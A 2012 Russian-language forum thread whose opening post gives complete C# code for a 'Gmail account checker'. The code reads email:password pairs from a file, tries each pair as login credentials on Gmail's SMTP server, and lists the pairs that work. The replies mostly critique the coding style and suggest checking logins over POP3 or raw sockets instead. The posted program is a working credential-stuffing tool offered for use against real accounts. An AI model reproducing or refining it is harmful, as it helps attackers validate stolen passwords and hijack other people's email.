Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 14.05.2012, 21:59   #1
 Разведчик
Аватар для sharperok
 
sharperok никому не известный тип
Регистрация: 14.05.2012
Сообщений: 3
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Отправить сообщение для sharperok с помощью ICQ Отправить сообщение для sharperok с помощью Telegram Отправить сообщение для sharperok с помощью MSN Отправить сообщение для sharperok с помощью Yahoo Отправить сообщение для sharperok с помощью Skype™
 
Thumbs up Gmail Account Checker

Всем привет.
Сегодня мы замутим чеккер акков для Gmail.Если вы его модернизируете, получится вполне неплохая софтина.
Что требуется:
-Пара текстовых боксов.
-Пара буттонов
-openFileDialog

Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Collections;
using System.IO;
namespace GMailCheck
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                if(textBox1.Text == "") MessageBox.Show("list is empty");
                ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
                for (int i = 0; i < mails.Count; i++)
                {
                    ArrayList mailInfo = new ArrayList(mails[i].ToString().Split(':'));
                    if (!mailInfo[0].ToString().EndsWith("@gmail.com")) mailInfo[0] = mailInfo[0] + "@gmail.com";
                    if (checkAccount(mailInfo[0].ToString(), mailInfo[1].ToString()))
                    {
                        textBox2.Text += mailInfo[0].ToString() + ":" + mailInfo[1].ToString() + "\r\n";
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
        static bool checkAccount(string username, string password)
        {
            //we use fake emails so nobody recieves the email, if you want a email when
            //the correct login is found, supply your email address
            MailMessage msg = new MailMessage();
            msg.From = new MailAddress("[Ссылки могут видеть только зарегистрированные пользователи. ]");//fake email
            msg.To.Add("[Ссылки могут видеть только зарегистрированные пользователи. ]");//fake email
            msg.Subject = "test";
            msg.Body = "test";
            SmtpClient smtp = new SmtpClient("smtp.gmail.com");
            smtp.Credentials = new NetworkCredential(username, password);
            smtp.EnableSsl = true;
            try
            {
                smtp.Send(msg);
                return true;
            } catch(Exception ex)
            {
                return false;
            }
        }
        private void button2_Click(object sender, EventArgs e)
        {
            try
            {
                openFileDialog1.ShowDialog();
                StreamReader read = new StreamReader(openFileDialog1.FileName);
                while (!read.EndOfStream)
                {
                    textBox1.Text += read.ReadLine() + "\r\n";
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
    }
}
  Ответить с цитированием
Старый 14.05.2012, 22:54   #2
 Разведчик
Аватар для Буянь
 
Буянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражания
Регистрация: 05.03.2011
Сообщений: 20
Популярность: 1883
Сказал(а) спасибо: 13
Поблагодарили 44 раз(а) в 36 сообщениях
Отправить сообщение для Буянь с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Обожаю копипастик!
Все сразу становится понятно и без гугла
  Ответить с цитированием
Старый 14.05.2012, 23:08   #3
 Разведчик
Аватар для sharperok
 
sharperok никому не известный тип
Регистрация: 14.05.2012
Сообщений: 3
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Отправить сообщение для sharperok с помощью ICQ Отправить сообщение для sharperok с помощью Telegram Отправить сообщение для sharperok с помощью MSN Отправить сообщение для sharperok с помощью Yahoo Отправить сообщение для sharperok с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Цитата:
Сообщение от БуяньПосмотреть сообщение
Обожаю копипастик!
Все сразу становится понятно и без гугла

К чему этот пост?
________________
  Ответить с цитированием
Старый 15.05.2012, 13:25   #4
 Сержант
Аватар для mr*WOLF
 
mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(mr*WOLF сломал счётчик популярности :(
Регистрация: 02.12.2011
Сообщений: 102
Популярность: 18248
Золото Zhyk.Ru: 25
Сказал(а) спасибо: 611
Поблагодарили 457 раз(а) в 285 сообщениях
 
По умолчанию Re: Gmail Account Checker

предоставь скрин примера, всё по порядку сделай )
________________
offline user
  Ответить с цитированием
Старый 15.05.2012, 19:49   #5
 Разведчик
Аватар для Буянь
 
Буянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражанияБуянь блестящий пример для подражания
Регистрация: 05.03.2011
Сообщений: 20
Популярность: 1883
Сказал(а) спасибо: 13
Поблагодарили 44 раз(а) в 36 сообщениях
Отправить сообщение для Буянь с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Цитата:
Сообщение от sharperokПосмотреть сообщение
К чему этот пост?

К тому, что статья гaвно не раскрывает всех премудростей и не может научить меня (школьника 80 лвл потенциального читателя) ничему, кроме копипаста.
Мне, например, интересно, почему у тебя комментарии на английском
А еще интересно, что программа делает.
  Ответить с цитированием
Старый 16.05.2012, 02:52   #6
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: Gmail Account Checker

ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
Строка доставляет, это вам и не массив и не строго типизированный список, это вам извращение про которое давно забыли.
Мне интересно почему не использовать обычный массив, или мы не знаем его длину и берем с запасом, но так вроде все известно, в общем мне как обывателю непонятно
________________
Talk is cheap. Show me the code
— Linus Torvalds
  Ответить с цитированием
Старый 20.05.2012, 22:29   #7
Почетный Пользователь
 Рыцарь
Аватар для the-boxi
 
the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(
Регистрация: 09.02.2011
Сообщений: 373
Популярность: 38009
Сказал(а) спасибо: 612
Поблагодарили 448 раз(а) в 175 сообщениях
Отправить сообщение для the-boxi с помощью ICQ Отправить сообщение для the-boxi с помощью MSN Отправить сообщение для the-boxi с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

а POP проткол кто-то отменял? И вообще слать сообщение каждый раз это уныло + еще в потоке формы всё будет лагать ужасно, о каком чекере вообще может быть речь?
________________
Разработка программ на заказ, все вопросы skype - the-boxi, ICQ - 616027961
  Ответить с цитированием
Старый 22.05.2012, 16:15   #8
 Пехотинец
Аватар для megweg
 
megweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известен
Регистрация: 28.12.2009
Сообщений: 75
Популярность: 427
Сказал(а) спасибо: 19
Поблагодарили 38 раз(а) в 23 сообщениях
Отправить сообщение для megweg с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Ну ты загнул, для попа всякие рюшечки нужны, типа SSL и хеширования. А тут тупо, и работает. И пускать сборку письма в другой поток(или потоки) никто не запрещает.
  Ответить с цитированием
Старый 22.05.2012, 19:52   #9
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Цитата:
Сообщение от megwegПосмотреть сообщение
для попа всякие рюшечки нужны, типа SSL и хеширования

щито?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 22.05.2012, 20:38   #10
Почетный Пользователь
 Рыцарь
Аватар для the-boxi
 
the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(
Регистрация: 09.02.2011
Сообщений: 373
Популярность: 38009
Сказал(а) спасибо: 612
Поблагодарили 448 раз(а) в 175 сообщениях
Отправить сообщение для the-boxi с помощью ICQ Отправить сообщение для the-boxi с помощью MSN Отправить сообщение для the-boxi с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Цитата:
Сообщение от megwegПосмотреть сообщение
Ну ты загнул, для попа всякие рюшечки нужны, типа SSL и хеширования. А тут тупо, и работает. И пускать сборку письма в другой поток(или потоки) никто не запрещает.

В инете 100500 милионов описаний ПОП протокола стоит только набрать в гугле "POP" или "POP + Sharp" и тебе сразу готовый рабочий код
________________
Разработка программ на заказ, все вопросы skype - the-boxi, ICQ - 616027961

Последний раз редактировалось VeTaL_UA; 22.05.2012 в 20:48. Причина: фейл же
  Ответить с цитированием
Пользователь сказал cпасибо:
KlouS (02.06.2012)
Старый 22.05.2012, 20:40   #11
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: Gmail Account Checker

Так вроде бы в шарпе нету родного функционала для работы с POP3 или я что-то путаю?
А вообще я юзал [Ссылки могут видеть только зарегистрированные пользователи. ], мне понравилось, довольно удобная либа
________________
Talk is cheap. Show me the code
— Linus Torvalds
  Ответить с цитированием
Старый 22.05.2012, 20:43   #12
Почетный Пользователь
 Рыцарь
Аватар для the-boxi
 
the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(the-boxi сломал счётчик популярности :(
Регистрация: 09.02.2011
Сообщений: 373
Популярность: 38009
Сказал(а) спасибо: 612
Поблагодарили 448 раз(а) в 175 сообщениях
Отправить сообщение для the-boxi с помощью ICQ Отправить сообщение для the-boxi с помощью MSN Отправить сообщение для the-boxi с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Цитата:
Сообщение от YukikazeПосмотреть сообщение
ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
Строка доставляет, это вам и не массив и не строго типизированный список, это вам извращение про которое давно забыли.
Мне интересно почему не использовать обычный массив, или мы не знаем его длину и берем с запасом, но так вроде все известно, в общем мне как обывателю непонятно

Вообще каждый как любит так делает, скажи мне что в этом плохого?
Цитата:
Сообщение от YukikazeПосмотреть сообщение
Так вроде бы в шарпе нету родного функционала для работы с POP3 или я что-то путаю?
А вообще я юзал OpenPOP, мне понравилось, довольно удобная либа

А TcpClient не подходит? Нужно же простой сокетный коннект
________________
Разработка программ на заказ, все вопросы skype - the-boxi, ICQ - 616027961

Последний раз редактировалось the-boxi; 22.05.2012 в 20:47.
  Ответить с цитированием
Пользователь сказал cпасибо:
KlouS (02.06.2012)
Старый 22.05.2012, 20:44   #13
 Пехотинец
Аватар для megweg
 
megweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известен
Регистрация: 28.12.2009
Сообщений: 75
Популярность: 427
Сказал(а) спасибо: 19
Поблагодарили 38 раз(а) в 23 сообщениях
Отправить сообщение для megweg с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Может я плохо искал, но в стандартных возможностей фреймворка этого нет, я лично это делаю при помощи RFC о POP3, и TCPClient-a
  Ответить с цитированием
Старый 22.05.2012, 20:48   #14
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

megweg, о каком SSL и хешировании шла речь?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 22.05.2012, 20:53   #15
 Пехотинец
Аватар для megweg
 
megweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известенmegweg скоро будет известен
Регистрация: 28.12.2009
Сообщений: 75
Популярность: 427
Сказал(а) спасибо: 19
Поблагодарили 38 раз(а) в 23 сообщениях
Отправить сообщение для megweg с помощью Skype™
 
По умолчанию Re: Gmail Account Checker

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
megweg, о каком SSL и хешировании шла речь?

В RFC написано что сервера могут потребовать SSL соединения и производить вход в систему(при помощи хеша). Если непонятно почитайте матчасть, документ RFC1939 можно запросто нагуглить.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Программа] PW Account Checker Kitsune Боты, скрипты и прочий софт для Perfect World 46 05.08.2010 10:12

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 07:13.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net